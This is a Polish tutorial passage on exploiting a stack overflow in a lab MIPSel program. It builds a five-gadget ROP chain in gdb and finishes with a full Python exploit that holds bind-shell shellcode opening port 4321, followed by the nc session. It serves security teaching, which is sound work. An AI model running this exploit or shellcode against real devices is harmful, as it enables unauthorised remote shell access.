Aktualizacja Planu Gry
Jak dobrze pamiętasz – przed samym skokiem do shellcode nasz Game Plan przewiduje trzy punkty do zrobienia. Zostaną one zrealizowane przy użyciu pięciu ROP gadgetów. Czemu aż tylu? Zaraz omówimy sobie każdy z punktów bardziej szczegółowo:
Gadget nr. 1 – kod funkcji „setegid”
- wrzuć do rejestru $ra adres gadgetu numer 2 ze stosu
- wrzuć do rejestru $s2 adres funkcji sleep() ze stosu
- wrzuć do rejestru $s1 adres gadgetu numer 3 ze stosu
- skocz do gadgetu numer 2 (pod adres z rejestru $ra)
Gadget nr. 2 – kod funkcji „__libc_system”
- ustaw parametr funkcji sleep()
- skocz do gadgetu numer 3 (pod adres z rejestru $s1)
Gadget nr. 3 – kod funkcji „xdr_callhdr”
- wrzuć do rejestru $t9 adres funkcji sleep() ze stosu
- wrzuć do rejestru $ra adres gadgetu numer 4 ze stosu
- skocz do funkcji sleep() (pod adres z rejestru $t9)
Gadget nr. 4 – kod funkcji „_stdio_openlist_dec_use”
- wrzuć do rejestru $a0 zmodyfikowany adres $sp (tam gdzie leży shellcode w pamięci)
- wrzuć do rejestru $t9 adres gadgetu numer 5 ze stosu
- skocz do gadgetu numer 5 (pod adres z rejestru $t9)
Gadget nr. 5 – kod funkcji „xdr_free”
- wrzuć do rejestru $t9 adres z rejestru $a0 (tam gdzie leży shellcode w pamięci)
- skocz do shellcode (pod adres z rejestru $t9)
Każdy z gadgetów zostanie omówiony dokładniej dalszej części publikacji.
Zwróć uwagę na obrazek powyżej. Przedstawia on ogólny zarys procesu, który doprowadzi nas do uruchomienia shella – program działa zgodnie z założeniami programisty (Flow programu) do momentu, kiedy otrzymuje on pewien ciąg znaków i z powodu braku prawidłowej walidacji wielkości kopiowanych danych od użytkownika do bufora docelowego – dane na stosie zostają nadpisane (w tym także nadpisany $ra – adres powrotu z funkcji). Program następnie dochodzi do momentu, w którym pobiera sobie ten adres z rejestru $ra aby skoczyć we wskazany obszar pamięci – do naszego pierwszego mini kodu assembly, pierwszego „ROP Gadgetu”, który pozwoli osiągnąć punkt 1 z planu gry. W dalszej kolejności program wykona skoki do pozostałych ROP Gadgetów by finalnie dostać się miejsce w pamięci gdzie jest umieszczony shellcode.
Budowa stosu – start
Dobra. Odpal jeszcze raz nasz program w gdb (zob. „Uruchomienie programu w gdb”) i strzel do niego zmodyfikowanym skryptem w pythonie. Zobaczymy sobie ten nasz pięknie namalowany wyżej payload w debugerze.
Zwróć uwagę na obrazek powyżej. Przedstawia on nadpisany rejestr $ra ciągiem znaków „Ab7A” zawartych w skrypcie (jest on na napisany na odwrót z uwagi na to, że działamy na MIPS Little Endian – przeczytaj sobie rozdział „MIPS vs MIPSel”).
Komendą „x/-50x $sp + 100” wyświetlisz sobie ładnie stos, który możesz zobaczyć na obrazku poniżej (tutaj znajdziesz taki cheatsheet jak w różny sposób wyświetlać dane w gdb):
Zobacz teraz co kryje się pod kolorem błękitnym – są to znaki „D” zapisane hexadecymalnie jako „0x44”, natomiast „0x43” pokolorowane na żółto i są odpowiednikiem znaku „C”. Cóż, wygląda na to, że stos pokrywa się z naszym obrazkiem prezentującym payload – „konstrukcja payloadu” ;)
No to super! Podsumowując, co do tej pory już masz: masz ogarnięty payload, który wysyłasz do badanego programu „socket_bof”. Nadpisując odpowiednio rejestr $ra swoim adresem przejąłeś kontrolę w badanym programie.
Ostatnia sprawa. Adres, który umieścimy zamiast „A7bA” w rejestrze $ra będzie adresem do naszego pierwszego ROP Gadgetu, do którego wykonamy skok. Narazie się nim nie przejmuj – zmodyfikujemy go później ;)
Teraz będzie mała zagadka. Na jednym z obrazków powyżej przedstawiony jest rejestr $sp. Pamiętasz do czego on służy? Jaki adres on przechowuje? Jeśli nie, to dobrze by było abyś sobie o nim przypomniał. Rejestr ten będzie niezwykle istotny w konstruowaniu ROP Gadgetów w dalszej części publikacji. Możesz podejrzeć jego wartość za pomocą polecenia: „x/x 0x7fffe608”.
Gadget 1
Nasz program „socket_bof” do swojego prawidłowego działania korzysta z bibliotek ładowanych do pamięci. To właśnie z kodu funkcji załadowanych bibliotek będziemy budować sobie swoje ROP Gadgety. Rozpoczniemy od pierwszego z nich, znajdującego się w funkcji „setegid”.
Funkcja ta posiada interesujący dla nas kawałek kodu, do którego wykonamy skok:
…
0x77ef3090 <+176>: lw ra,36(sp)
0x77ef3094 <+180>: lw s2,32(sp)
0x77ef3098 <+184>: lw s1,28(sp)
0x77ef309c <+188>: lw s0,24(sp)
0x77ef30a0 <+192>: jr ra
…
Pierwszy ROP Gadget. Wycinek kodu assembly z funkcji „setegid”
A dokładniej do adresu „0x77ef3090”, zatem zmodyfikujmy nasz payload w funkcji „payload” ze „skryptu zniszczenia” tak aby nadpisany adres rejestru $ra ciągiem „Ab7A” zastąpić adresem pierwszej instrukcji z naszego pierwszego ROP Gadgetu:
def payload(): p = 'D' * 51 p += struct.pack('<I', 0x77ef3090) p += ‘C’ * 100
Super. Przeanalizujmy na szybkości co robi powyższy kod assembly: ładuje on wartości ze stosu do rejestrów kolejno $ra, $s2, $s1 oraz $s0 w oparciu o rejestr $sp z odpowiednimi offsetami a następnie wykonuje skok pod adres rejestru $ra.
Wykonując skok do kodu z funkcji „setegid” lub podobnego będziemy mieli kontrolę nad kilkoma rejestrami ponieważ bez tego finalne uruchomienie naszego przesłanego shellcode byłoby niemożliwe o czym przekonasz się w dalszej części tego materiału.
Tutaj mała podpowiedź: w tym kodzie assembly będzie nas interesowało nadpisanie wartości w rejestrach $s1, $s2 oraz $ra. W rejestrze $s1 umieścimy adres do trzeciego ROP Gadgetu natomiast adres funkcji „sleep()” zostanie umieszczony w rejestrze $s2. Rejestr $ra będzie posiadał adres drugiego ROP Gadgetu, do którego wykonamy skok.
W tym celu zaktualizujmy ponownie nasz „sktypt zniszczenia” usuwając znak „C” a w jego miejsce następujący ciąg znaków:
def payload(): p = 'D' * 51 p += struct.pack('<I', 0x77ef3090) # adres gadgetu nr. 1 p += ‘Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A’
aktualizacja payloadu
Odpal ponownie program w gdb („run 1337”) a następnie wykonaj skrypt z payloadem.
Zobacz na obrazku powyżej, że po skoku do funkcji „setegid” rejestry $s0, $s1, $2 oraz $ra zostały nadpisane ciągiem znaków przesłanych przez nasz skrypt. Odnajdź teraz wartości nadpisanych rejestrów w payloadzie i podmień je kolejno:
- „a9Ab” na adres “0x47474747”
Adres gadgetu nr. 3. Jeszcze go nie znamy zatem ustawimy go na testowy. Podmienimy go później.
- „0Ab1” na adres “0x77f192b0”
Jest to adres funkcji „sleep()”. Znajdziesz go wywołując komendę „info address sleep” w gdb.
- „Ab2A” na adres „0x48484848”
Adres gadgetu numer 2. Do podmiany później.
def payload(): p = 'D' * 51 p += struct.pack('<I', 0x77ef3090) # adres gadgetu nr. 1 p += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A' p += struct.pack('<I', 0x47474747) p += struct.pack('<I', 0x77f192b0) # adres funkcji sleep() p += struct.pack('<I', 0x48484848) p += 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A' return p
Uruchom cały proces debugu jeszcze raz. Po wykonaniu skryptu w pythonie rejestr $s1 powinien posiadać wartość „GGGG” („0x47474747”), $s2 adres „0x77f192b0” a rejestr $ra „HHHH” („0x48484848”). Jeśli Ci się to udało to ekstra! Jedziemy dalej do kolejnego gadgetu :)
Gadget 2
Kod assembly zawarty w funkcji „__libc_system” będzie naszym drugim gadgetem, do którego wykonamy skok. Ustawi on odpowiednio parametr funkcji „sleep()”.
…
0x77f1614c <+380>: li a0,3
0x77f16150 <+384>: move t9,s1
0x77f16154 <+388>: jalr t9
…
Drugi ROP Gadget. Wycinek kodu assembly z funkcji „__libc_system”
Mając wiedzę z poprzednich lekcji mam nadzieję, że kod jest dla Ciebie jasny ;). Program:
- ładuje liczbę „3” do rejestru $a0
- kopiuje adres z rejestru $s1 do rejestru $t9
- Wykonuje skok do pamięci pod adres z rejestru $t9
Rejestr $a0, który jest odpowiedzialny za przechowywanie parametrów funkcji zawiera teraz liczbę 3 i to jest wszystko, co miał do wykonania.
Aktualizujemy nasz payload dodając do niego w odpowiednie miejsce adres gadgetu numer dwa:
def payload(): p = 'D' * 51 p += struct.pack('<I', 0x77ef3090) # adres gadgetu nr. 1 p += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A' p += struct.pack('<I', 0x47474747) p += struct.pack('<I', 0x77f192b0) # adres funkcji sleep() p += struct.pack('<I', 0x77f1614c) # adres gadgetu nr. 2 p += 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A' return p
Możemy więc przejść do omówienia gadgetu numer trzy.
Gadget 3
W gadgecie numer trzy posłużymy się kodem assembly z funkcji „xdr_callhdr” przedstawionym poniżej:
…
0x77f0af1c <+176>: move t9,s2
0x77f0af20 <+180>: lw ra,36(sp)
0x77f0af24 <+184>: lw s2,32(sp)
0x77f0af28 <+188>: lw s1,28(sp)
0x77f0af2c <+192>: lw s0,24(sp)
0x77f0af30 <+196>: jr t9
…
Trzeci ROP Gadget. Wycinek kodu assembly z funkcji „xdr_callhdr”
Cofnij się teraz na moment do swojego payloadu i podmień testowy adres („0x47474747”) nadpisujący rejestr $ra na adres „0x77f0af1c” (pierwszej instrukcji z funkcji „xdr_callhdr”) i ponownie wykonaj debug.
def payload(): p = 'D' * 51 p += struct.pack('<I', 0x77ef3090) # adres gadgetu nr. 1 p += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A' p += struct.pack('<I', 0x77f0af1c) # adres gadgetu nr. 3 p += struct.pack('<I', 0x77f192b0) # adres funkcji sleep() p += struct.pack('<I', 0x77f1614c) # adres gadgetu nr. 2 p += 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A' return p
Aktualizacja payloadu – gadget numer 3
Teraz wróć do kodu z funkcji „xdr_callhdr”. Powinien być on dla Ciebie zrozumiały. Najpierw wartość rejestru $s2 ląduje w $t9 po czym dane ze stosu ładowane są do kolejnych rejestrów. Kod wygląda standardowo ale coś tu jest nie tak..
Gadget numer 3 posłuży nam wreszcie do skoku i wykonania funkcji „sleep()”. Znowu zagadka: skąd program będzie wiedział gdzie pójść dalej po wykonaniu funkcji „sleep()”? Spójrz na kod jeszcze raz.
.
.
.
Mogę już?
Jeśli trochę pokombinowałeś, to pewnie zrobiłeś ;> Rozwiązanie rozpoczyna się od instrukcji „lw ra,36(sp)”. Zauważ, że przed wykonaniem kolejnego skoku (jr t9 – linia +196) procesor skopiuje adres z pamięci do rejestru $ra (“+180”). Zapewniamy w ten sposób kontrolę nad procesem powrotu z funkcji sleep(). Procesor skacząc do funkcji sleep() będzie wiedział, w jakie miejsce ma powrócić po jej wykonaniu – skoczy on pod adres rejestru $ra czyli do gadgetu numer cztery. Fajne, co? :)
Ciemniejszy kolor rejestrów $s1 oraz $s2 na obrazku powyżej ma świadczyć o tym, że nadpisanie ich wartości nie będzie miało dla nas znaczenia w tym kroku gdzie się znajdujemy. Uruchom program „socket_bof” w gdb i strzel w niego naszym skryptem z funkcją widniejącą w „Aktualizacja payloadu – gadget numer 3”.
Ciąg „c5Ac” to miejsce, gdzie wstawimy adres do naszego czwartego gadgetu. Zwróć też uwagę jakimi danymi został nadpisany rejestr $s0. On także przyda nam się w następnym kroku. Dobra, połowę mamy już za sobą. Pora na gadget numer 4!
Gadget 4
W tym miejscu będą działy się jeszcze ciekawsze rzeczy! Zobacz sam:
…
0x77f05230 <+128>: move t9,s0
0x77f05234 <+132>: jalr t9
0x77f05238 <+136>: addiu a0,sp,40
…
Czwarty ROP Gadget. Wycinek kodu assembly z funkcji „_stdio_openlist_dec_use”
Poznaj część kodu assembly funkcji „_stdio_openlist_dec_use” ;) Gadget ten jest dla nas dość istotny ponieważ musimy odpowiednio nadpisać rejestr $a0 w taki sposób aby posiadał adres miejsca w pamięci, w którym rozpoczyna się przesłany shellcode.
Zatrzymajmy się tutaj aby zaktualizować nasz payload o zebrane informacje.
def payload(): p = 'D' * 51 p += struct.pack('<I', 0x77ef3090) # adres gadgetu nr. 1 p += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A' p += struct.pack('<I', 0x77f0af1c) # adres gadgetu nr. 3 p += struct.pack('<I', 0x77f192b0) # adres funkcji sleep() p += struct.pack('<I', 0x77f1614c) # adres gadgetu nr. 2 p += 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A' p += struct.pack('<I', 0x48484848) p += '2Ac3Ac4A' p += struct.pack('<I', 0x77f05230) # adres gadgetu nr. 4 p += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9' return p
Okej, pora na wyjaśnienie kodu assembly z naszego małego gadgetu. Mamy kontrolę nad tym co zapisujemy do rejestru $s0 a więc tam powędruje adres ostatniego gadgetu numer pięć. Instrukcja “jalr” oczywiście spowoduje skok do podanego adresu w pamięci – czy aby na pewno jest to jej jedyne zadanie? No właśnie.
Jak pamiętasz z poprzednich lekcji, że W momencie wykonywania instrukcji takiej jak jal, jalr („Jump and link”) adres powrotu ($ra) jest zamieniany na adres: PC + 8 bajtów, czyli adres powrotu wskazuje na drugą instrukcję pod instrukcją jump. Dzieje się tak dlatego, że wykonywany zostaje także tzw. „branch delay slot” – program tuż przed skokiem do funkcji wykonuje instrukcję znajdującą się pod instrukcją jump (adres PC + 4 bajty). W przypadku gadgetu numer cztery będzie to instrukcja „addiu a0,sp,40” (+136).
Instrukcja „addiu” (add immediate unsigned) wypełni rejestr $a0 adresem rejestru sp plus offset w postaci wartości typu integer – 0x40. Będziemy mogli dzięki temu obliczyć, w jakim miejscu w pamięci powinien być umiejscowiony nasz shellcode. Pod ten zmodyfikowany adres wykonamy skok już do naszego shellcode.
Zwróć teraz uwagę na obrazek poniżej a w szczególności na rejestr $a0.
W ostatniej linijce naszego payloadu został zwiększony ciąg znaków tak, aby nadpisywał on rejestr $a0. Skok pod nadpisany adres w tym rejestrze będzie naszą ostatnią operacją.
Gadget 5
Zbliżamy się już do finału. Ostatni kod assembly jaki wykorzystamy siedzi w funkcji „xdr_free”.
…
0x77f0b4a0 <+16>: move t9,a0
0x77f0b4a4 <+20>: sw v0,24(sp)
0x77f0b4a8 <+24>: jalr t9
…
Piąty ROP Gadget. Wycinek kodu assembly z funkcji „xdr_free”
Kod ten robi jedną ważną rzecz – wykonuje skok do adresu z rejestru $a0, który nadpisaliśmy w poprzednim rozdziale. Linia +20 nas nie interesuje.
Widzisz na obrazku powyżej pierwsze bajty nadpisanego rejestru $a0? Usuwamy ciąg znaków rozpoczynający się od „b3” a w to miejsce wklejamy shellcode.
Voila!
Ahhh byłbym zapomniał ;> W miejsce adresu nadpisującego rejestr $s0 wklejamy oczywiście adres pierwszej instrukcji piątego gadgetu („0x77f0b4a0”) żeby tam wykonać skok. O mało co byłoby tak jak w scenie z filmu Ocean’s Eleven kiedy Danny Ocean z Linusem wysadzali właz do skarbca..
def shellcode(): """ mipsle bind localhost shellcode port 4321 https://github.com/threat9/routersploit/blob/master/docs/modules/payloads/mipsle/bind_tcp.md """ return ( "\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0" "\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\xff\xff" "\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x10\xe1\x0d\x24\x04" "\x68\xcd\x01\xfd\xff\x0e\x24\x27\x70\xc0\x01\x25\x68\xae\x01" "\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0\xaf\xec\xff\xa0" "\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30\xc0\x01\xe0\xff" "\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x25\x20\x10\x02\x01" "\x01\x05\x24\x4e\x10\x02\x24\x0c\x01\x01\x01\x25\x20\x10\x02" "\xff\xff\x05\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01" "\x01\xff\xff\xa2\xaf\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff" "\xa4\x8f\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff" "\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28" "\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf\x73\x68\x0e" "\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf\xf4\xff\xa0\xaf\xec\xff" "\xa4\x27\xf8\xff\xa4\xaf\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab" "\x0f\x02\x24\x0c\x01\x01\x01" ) def payload(): p = 'D' * 51 p += struct.pack('<I', 0x77ef3090) # adres gadgetu nr. 1 p += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A' p += struct.pack('<I', 0x77f0af1c) # adres gadgetu nr. 3 p += struct.pack('<I', 0x77f192b0) # adres funkcji sleep() p += struct.pack('<I', 0x77f1614c) # adres gadgetu nr. 2 p += 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A' p += struct.pack('<I', 0x77f0b4a0) # adres gadgetu nr. 5 p += '2Ac3Ac4A' p += struct.pack('<I', 0x77f05230) # adres gadgetu nr. 4 p += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A' p += shellcode() return p client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) ip=socket.gethostbyname("127.0.0.1") port=int(sys.argv[1]) address=(ip,port) client.connect(address) print("[+] sending..") p = payload2() client.send(p) data = client.recv(1024) print(data)
Finałowy eksploit.py
Pozostało nam tylko odpalić naszego zmontowanego exploita:
Sprawdzamy otwarty port:
mipsel@ ~# netstat -ltn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:4321 0.0.0.0:* LISTEN
tcp6 0 0 ::1:25 :::* LISTEN
Port 4321 otwarty to wchodzimy.
mipsel@ ~# nc localhost 4321
ls
data.txt
…
Koniec gry! Chociaż nie…
Co dalej?
Wejdź w temat głębiej. Nie poruszyłbym tak mega ciekawego tematu bez wsparcia w formie publikacji kilku wysokiej klasy specjalistów, którzy poświęcili swój czas tworząc super artykuły, które zamieściłem poniżej, a z których także korzystałem. Dlatego mocno Cię zachęcam do ich przestudiowania i praktyki oczywiście.
- http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/ -> link do cache ponieważ strona na daną chwilę nie działa,
- https://blog.senr.io/blog/why-is-my-perfectly-good-shellcode-not-working-cache-coherency-on-mips-and-arm,
- https://www.praetorian.com/blog/reversing-and-exploiting-embedded-devices-part-1-the-software-stack.
Buffer overflow to nie wszystko. Warto pójść z tematem MIPSa jeszcze dalej, o ile tego już nie zrobiłeś. Poniżej przedstawię parę obszarów, które naprawdę warto byłoby poznać lepiej:
– budowanie swojego shellcode: nie tylko uzyskanie powłoki, ale każda inna operacja, którą byś musiał wykonać – nie byłaby już dla Ciebie problemem.
– kontynuowanie działania procesu po eksploitacji: bardzo ciekawe zagadnienie;po udanej eksploitacji nie możesz ponownie zaatakować badanej aplikacji, ponieważ nastąpił crash i przestała działać? Cóż, okazuje się można sobie z tym jakoś poradzić.
Możliwości związanych z bezpieczeństwem samego IoT jest oczywiście kilka. Jeśli chodzi o soft to zachęcam Cię do zapoznania się z inną, bardzo popularną architekturą RISC jaką jest ARM. Jeśli wziąć pod uwagę, że procki ARMa są jednymi z najpopularniejszych na Świecie to można śmiało powiedzieć, że jest co hakować a przesiadka z MIPSa wcale nie boli :)
A może zaciekawi Cię bardziej Świat hardware hackingu? Jak wejdziesz następnym razem do garażu to zastanów się czy aby nie zaparkowałeś tam swojego czterokołowego komputera w bardzo dużej oprawie ;)
Na koniec
Na koniec będzie parę słów dla tych, co dopiero zaczynają ;)
Kiedyś parę lat temu na IRCu jeden z kolegów napisał zdanie, które miało mniej więcej taki sens:
`< > Siedziałem nad tym zadaniem pół nocy i nic nie zrobiłem. Dzisiaj z rana usiadłem do tematu na świeżo i poszło!`
Przez niektóre zagadnienia przebrniesz łatwo, lecz może się tak zdarzyć, że nad niektórymi będziesz musiał spędzić trochę czasu trafiając na ścianę nie do przejścia tylko z pozoru. Traktuj swoje badania z pewnym dystansem i nieustępliwością, a na pewno to zrobisz ;)
–Mateusz Wójcik – Squadron31
Podziękowania dla Grześka Wypycha za cenne uwagi i poprawki do tekstu.
Świetny materiał! Strona Heffnera nie działa już od dłuższego czasu, a szkoda, bo siedział tam kontent wręcz wybitny jeśli chodzi o MIPS, IDĘ i skrypty do niej + analiza binwalkiem.
Świetny tutorial. Jeden screen nieco ujawnia z Twojego fejsa i bookmarks bara. Chyba nie było to zamierzone. :P Z fartem!